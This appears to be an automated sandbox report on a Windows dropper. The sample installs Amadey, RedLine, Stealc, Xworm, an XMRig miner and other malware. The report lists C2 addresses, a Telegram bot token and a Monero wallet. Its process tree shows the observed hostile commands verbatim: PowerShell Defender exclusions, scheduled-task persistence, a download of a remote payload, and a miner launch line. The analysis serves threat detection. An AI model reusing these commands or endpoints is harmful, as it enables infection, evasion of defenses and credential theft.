Overview

overview

10

Static

static

7

cryptolaemus

windows10-2004-x64

10

cryptolaemus

windows11-21h2-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    13-05-2024 13:05

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    63a57d86f18040563e6b0a9fa14c3470cbd614b6e6e58068e50b6e3594db0e3f.exe

  • Size

    1.6MB

  • MD5

    7f14dbb4f49d3ec3b928d751a029d236

  • SHA1

    697383a18121f87473c5f26cd7f0a174d35e807d

  • SHA256

    63a57d86f18040563e6b0a9fa14c3470cbd614b6e6e58068e50b6e3594db0e3f

  • SHA512

    8d859d885f6bace10845d88b9259fd826fee88d71029057ca2477d47dfa5c85c2c9be3aa8bef12d8846088030bbb87013ea6187a4eaf95d8e7beb78d88271849

  • SSDEEP

    24576:e4DPCLk2tO+/uujKLVqqf9ZsZ+29xPG2Di7iUSh1/vpp5qhkL5ynnOJimCiUFYx8:57atO+GuGL44eZBG2+wv9qaLxJiyxkyq

Score
10/10
amadeyredlineriseprostealcstormkittyxmrigxwormzgrat1@cloudytteamdiscoveryevasionexecutioninfostealerminerpersistenceratspywarestealerthemidatrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://193.222.96.193:81/besho/besho.mp4

Extracted

Family

amadey

Version

4.20

C2

http://5.42.96.141

http://5.42.96.7
Attributes
  • install_dir

    908f070dff

  • install_file

    explorku.exe

  • strings_key

    b25a9385246248a95c600f9a061438e1

  • url_paths

    /go34ko8/index.php

rc4.plain
rc4.plain

Extracted

Family

risepro

C2

147.45.47.126:58709

Extracted

Family

redline

Botnet

@CLOUDYTTEAM

C2

185.172.128.33:8970

Extracted

Family

redline

Botnet

1

C2

185.215.113.67:26260

Extracted

Family

stealc

C2

http://49.13.229.86

Attributes
  • url_path

    /c73eed764cc59dcb.php

Extracted

Family

xworm

C2

127.0.0.1:7000

beshomandotestbesnd.run.place:7000
Attributes
  • Install_directory

    %ProgramData%

  • install_file

    taskmgr.exe

  • telegram

    https://api.telegram.org/bot2128988424:AAEkYnwvOQA95riqRZwlqBxg4GV-odRNOyo/sendMessage?chat_id=966649672

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Detect Xworm Payload 2 IoCs
  • Detect ZGRat V1 6 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 6 IoCs
  • RisePro

    RisePro stealer is an infostealer distributed by PrivateLoader.

    stealerrisepro
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • StormKitty

    StormKitty is an open source info stealer written in C#.

    stealerstormkitty
  • StormKitty payload 1 IoCs
  • XMRig Miner payload 4 IoCs
    miner
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • ZGRat

    ZGRat is remote access trojan written in C#.

    ratzgrat
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 11 IoCs
    evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

    execution
  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks BIOS information in registry 2 TTPs 22 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 50 IoCs
  • Identifies Wine through registry keys 2 TTPs 5 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 5 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 44 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 6 IoCs
    evasiontrojan
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 15 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 4 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Modifies registry class 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\63a57d86f18040563e6b0a9fa14c3470cbd614b6e6e58068e50b6e3594db0e3f.exe
    "C:\Users\Admin\AppData\Local\Temp\63a57d86f18040563e6b0a9fa14c3470cbd614b6e6e58068e50b6e3594db0e3f.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:3568
    • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
      "C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Adds Run key to start application
      • Checks whether UAC is enabled
      • Suspicious use of WriteProcessMemory
      PID:1472
      • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
        "C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"
        3⤵
          PID:2312
        • C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe
          "C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe"
          3⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:784
          • C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
            "C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"
            4⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4968
            • C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe
              "C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:1204
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                6⤵
                  PID:3596
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  6⤵
                    PID:4692
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                    6⤵
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:4912
                    • C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe
                      "C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"
                      7⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4324
                    • C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe
                      "C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"
                      7⤵
                      • Executes dropped EXE
                      • Modifies system certificate store
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1892
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
                      7⤵
                        PID:1436
                        • C:\Windows\SysWOW64\choice.exe
                          choice /C Y /N /D Y /T 3
                          8⤵
                            PID:4752
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 1204 -s 364
                        6⤵
                        • Program crash
                        PID:2772
                    • C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe
                      "C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe"
                      5⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      • Suspicious use of WriteProcessMemory
                      PID:1136
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                        6⤵
                          PID:4552
                      • C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe
                        "C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"
                        5⤵
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2476
                      • C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe
                        "C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"
                        5⤵
                        • Executes dropped EXE
                        • Drops file in Program Files directory
                        • Suspicious use of WriteProcessMemory
                        PID:764
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installg.bat" "
                          6⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1204
                          • C:\Windows\SysWOW64\sc.exe
                            Sc stop GameServerClient
                            7⤵
                            • Launches sc.exe
                            PID:2320
                          • C:\Program Files (x86)\GameSyncLink\GameService.exe
                            GameService remove GameServerClient confirm
                            7⤵
                            • Executes dropped EXE
                            PID:3168
                          • C:\Windows\SysWOW64\sc.exe
                            Sc delete GameSyncLink
                            7⤵
                            • Launches sc.exe
                            PID:4756
                          • C:\Program Files (x86)\GameSyncLink\GameService.exe
                            GameService remove GameSyncLink confirm
                            7⤵
                            • Executes dropped EXE
                            PID:3688
                          • C:\Program Files (x86)\GameSyncLink\GameService.exe
                            GameService install GameSyncLink "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
                            7⤵
                            • Executes dropped EXE
                            PID:2456
                          • C:\Program Files (x86)\GameSyncLink\GameService.exe
                            GameService start GameSyncLink
                            7⤵
                            • Executes dropped EXE
                            PID:2356
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installc.bat" "
                          6⤵
                            PID:3440
                            • C:\Windows\SysWOW64\sc.exe
                              Sc stop GameServerClientC
                              7⤵
                              • Launches sc.exe
                              PID:3664
                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                              GameService remove GameServerClientC confirm
                              7⤵
                              • Executes dropped EXE
                              PID:2140
                            • C:\Windows\SysWOW64\sc.exe
                              Sc delete PiercingNetLink
                              7⤵
                              • Launches sc.exe
                              PID:2512
                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                              GameService remove PiercingNetLink confirm
                              7⤵
                              • Executes dropped EXE
                              PID:4584
                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                              GameService install PiercingNetLink "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
                              7⤵
                              • Executes dropped EXE
                              PID:3168
                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                              GameService start PiercingNetLink
                              7⤵
                              • Executes dropped EXE
                              PID:4752
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installm.bat" "
                            6⤵
                              PID:1208
                              • C:\Windows\SysWOW64\sc.exe
                                Sc delete GameSyncLinks
                                7⤵
                                • Launches sc.exe
                                PID:2108
                              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                GameService remove GameSyncLinks confirm
                                7⤵
                                • Executes dropped EXE
                                PID:4564
                              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                GameService install GameSyncLinks "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
                                7⤵
                                • Executes dropped EXE
                                PID:8
                              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                GameService start GameSyncLinks
                                7⤵
                                • Executes dropped EXE
                                PID:1924
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
                              6⤵
                                PID:3196
                            • C:\Users\Admin\AppData\Local\Temp\1000007001\swizzhis.exe
                              "C:\Users\Admin\AppData\Local\Temp\1000007001\swizzhis.exe"
                              5⤵
                              • Executes dropped EXE
                              • Suspicious use of SetThreadContext
                              PID:3928
                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                6⤵
                                • Loads dropped DLL
                                • Checks processor information in registry
                                • Suspicious behavior: EnumeratesProcesses
                                PID:2704
                            • C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe
                              "C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"
                              5⤵
                              • Executes dropped EXE
                              • Suspicious use of SetThreadContext
                              PID:2064
                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                6⤵
                                  PID:2076
                              • C:\Users\Admin\AppData\Local\Temp\1000013001\file300un.exe
                                "C:\Users\Admin\AppData\Local\Temp\1000013001\file300un.exe"
                                5⤵
                                • Executes dropped EXE
                                • Suspicious use of SetThreadContext
                                PID:2348
                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
                                  6⤵
                                    PID:1084
                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
                                    6⤵
                                      PID:2356
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 2356 -s 172
                                        7⤵
                                        • Program crash
                                        PID:5008
                                  • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                                    "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"
                                    5⤵
                                    • Executes dropped EXE
                                    PID:4980
                                    • C:\Windows\SysWOW64\schtasks.exe
                                      "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe" /F
                                      6⤵
                                      • Creates scheduled task(s)
                                      PID:1060
                                    • C:\Users\Admin\AppData\Local\Temp\1000254001\ISetup8.exe
                                      "C:\Users\Admin\AppData\Local\Temp\1000254001\ISetup8.exe"
                                      6⤵
                                      • Executes dropped EXE
                                      PID:4712
                                      • C:\Users\Admin\AppData\Local\Temp\u3mw.0.exe
                                        "C:\Users\Admin\AppData\Local\Temp\u3mw.0.exe"
                                        7⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        • Checks processor information in registry
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:2396
                                      • C:\Users\Admin\AppData\Local\Temp\u3mw.1.exe
                                        "C:\Users\Admin\AppData\Local\Temp\u3mw.1.exe"
                                        7⤵
                                        • Executes dropped EXE
                                        • Checks SCSI registry key(s)
                                        • Suspicious use of FindShellTrayWindow
                                        • Suspicious use of SendNotifyMessage
                                        PID:4144
                                        • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
                                          "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
                                          8⤵
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:3984
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4712 -s 1440
                                        7⤵
                                        • Program crash
                                        PID:1708
                                    • C:\Users\Admin\AppData\Local\Temp\1000255001\toolspub1.exe
                                      "C:\Users\Admin\AppData\Local\Temp\1000255001\toolspub1.exe"
                                      6⤵
                                      • Executes dropped EXE
                                      • Checks SCSI registry key(s)
                                      PID:1932
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1932 -s 384
                                        7⤵
                                        • Program crash
                                        PID:4692
                                    • C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe
                                      "C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe"
                                      6⤵
                                      • Executes dropped EXE
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:3196
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -nologo -noprofile
                                        7⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:872
                                      • C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe
                                        "C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe"
                                        7⤵
                                        • Executes dropped EXE
                                        PID:4656
                                  • C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe
                                    "C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe"
                                    5⤵
                                    • Executes dropped EXE
                                    • Adds Run key to start application
                                    • Modifies registry class
                                    • Suspicious behavior: AddClipboardFormatListener
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    • Suspicious use of SetWindowsHookEx
                                    PID:2636
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe'
                                      6⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1852
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'taskmgr.exe'
                                      6⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:3040
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\taskmgr.exe'
                                      6⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:956
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'taskmgr.exe'
                                      6⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2540
                                    • C:\Windows\System32\schtasks.exe
                                      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "taskmgr" /tr "C:\ProgramData\taskmgr.exe"
                                      6⤵
                                      • Creates scheduled task(s)
                                      PID:1124
                                    • C:\Windows\System32\WScript.exe
                                      "C:\Windows\System32\WScript.exe" "C:\ProgramData\ssa.vbs"
                                      6⤵
                                        PID:1196
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $webClient = New-Object System.Net.WebClient; $webClient.Credentials = New-Object System.Net.NetworkCredential('dd', 'mn...123456'); $webClient.DownloadFile('http://193.222.96.193:81/besho/besho.mp4', 'C:\Users\Public\Documents\max3d.zip'); Expand-Archive -Path 'C:\Users\Public\Documents\max3d.zip' -DestinationPath 'C:\Users\Public\Documents\' -Force
                                          7⤵
                                          • Blocklisted process makes network request
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:2476
                                • C:\Users\Admin\1000006002\4b58e49bf4.exe
                                  "C:\Users\Admin\1000006002\4b58e49bf4.exe"
                                  3⤵
                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                  • Checks BIOS information in registry
                                  • Executes dropped EXE
                                  • Checks whether UAC is enabled
                                  PID:664
                            • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
                              C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
                              1⤵
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Checks whether UAC is enabled
                              PID:3136
                            • C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
                              C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
                              1⤵
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Identifies Wine through registry keys
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • Suspicious behavior: EnumeratesProcesses
                              PID:3912
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 1204 -ip 1204
                              1⤵
                                PID:536
                              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                1⤵
                                • Executes dropped EXE
                                PID:4436
                                • C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe
                                  "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:5088
                                  • C:\Windows\Temp\189993.exe
                                    "C:\Windows\Temp\189993.exe" --list-devices
                                    3⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    PID:2824
                              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                1⤵
                                • Executes dropped EXE
                                PID:4716
                                • C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe
                                  "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:4684
                              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                1⤵
                                • Executes dropped EXE
                                PID:1204
                                • C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe
                                  "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  • Drops file in Program Files directory
                                  PID:4744
                                  • C:\Windows\Temp\731486.exe
                                    "C:\Windows\Temp\731486.exe" --http-port 14343 -o xmr.2miners.com:2222 -u 83dQM82bj4yY83XKGKHnbHTzqgY4FUt2pi1JS15u7rTs8v84mTU5ny5MiRoSeyduBUAQKFZ6MsvbMHYTisNeThDM3BqQ59y --coin XMR -t 1 --no-color -p x
                                    3⤵
                                    • Executes dropped EXE
                                    • Suspicious use of AdjustPrivilegeToken
                                    • Suspicious use of FindShellTrayWindow
                                    PID:884
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2356 -ip 2356
                                1⤵
                                  PID:2928
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 1932 -ip 1932
                                  1⤵
                                    PID:4392
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4712 -ip 4712
                                    1⤵
                                      PID:3984
                                    • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                                      C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                                      1⤵
                                      • Executes dropped EXE
                                      PID:4568
                                    • C:\ProgramData\taskmgr.exe
                                      C:\ProgramData\taskmgr.exe
                                      1⤵
                                      • Executes dropped EXE
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2280
                                    • C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
                                      C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
                                      1⤵
                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                      • Checks BIOS information in registry
                                      • Executes dropped EXE
                                      • Identifies Wine through registry keys
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:1944
                                    • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
                                      C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
                                      1⤵
                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                      • Checks BIOS information in registry
                                      • Executes dropped EXE
                                      • Checks whether UAC is enabled
                                      PID:4736
                                    • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                                      C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                                      1⤵
                                      • Executes dropped EXE
                                      PID:1944
                                    • C:\ProgramData\taskmgr.exe
                                      C:\ProgramData\taskmgr.exe
                                      1⤵
                                      • Executes dropped EXE
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2824
                                    • C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
                                      C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
                                      1⤵
                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                      • Checks BIOS information in registry
                                      • Executes dropped EXE
                                      • Identifies Wine through registry keys
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      PID:3596
                                    • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
                                      C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
                                      1⤵
                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                      • Checks BIOS information in registry
                                      • Executes dropped EXE
                                      • Checks whether UAC is enabled
                                      PID:3928

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Reconnaissance

                                    Resource Development

                                    Initial Access

                                    Execution

                                    Command and Scripting Interpreter

                                    1
                                    T1059

                                    PowerShell

                                    1
                                    T1059.001

                                    Scheduled Task/Job

                                    1
                                    T1053

                                    System Services

                                    1
                                    T1569

                                    Service Execution

                                    1
                                    T1569.002

                                    Persistence

                                    Boot or Logon Autostart Execution

                                    1
                                    T1547

                                    Registry Run Keys / Startup Folder

                                    1
                                    T1547.001

                                    Create or Modify System Process

                                    1
                                    T1543

                                    Windows Service

                                    1
                                    T1543.003

                                    Scheduled Task/Job

                                    1
                                    T1053

                                    Privilege Escalation

                                    Boot or Logon Autostart Execution

                                    1
                                    T1547

                                    Registry Run Keys / Startup Folder

                                    1
                                    T1547.001

                                    Create or Modify System Process

                                    1
                                    T1543

                                    Windows Service

                                    1
                                    T1543.003

                                    Scheduled Task/Job

                                    1
                                    T1053

                                    Defense Evasion

                                    Impair Defenses

                                    1
                                    T1562

                                    Modify Registry

                                    2
                                    T1112

                                    Subvert Trust Controls

                                    1
                                    T1553

                                    Install Root Certificate

                                    1
                                    T1553.004

                                    Virtualization/Sandbox Evasion

                                    2
                                    T1497

                                    Credential Access

                                    Unsecured Credentials

                                    3
                                    T1552

                                    Credentials In Files

                                    3
                                    T1552.001

                                    Discovery

                                    Peripheral Device Discovery

                                    1
                                    T1120

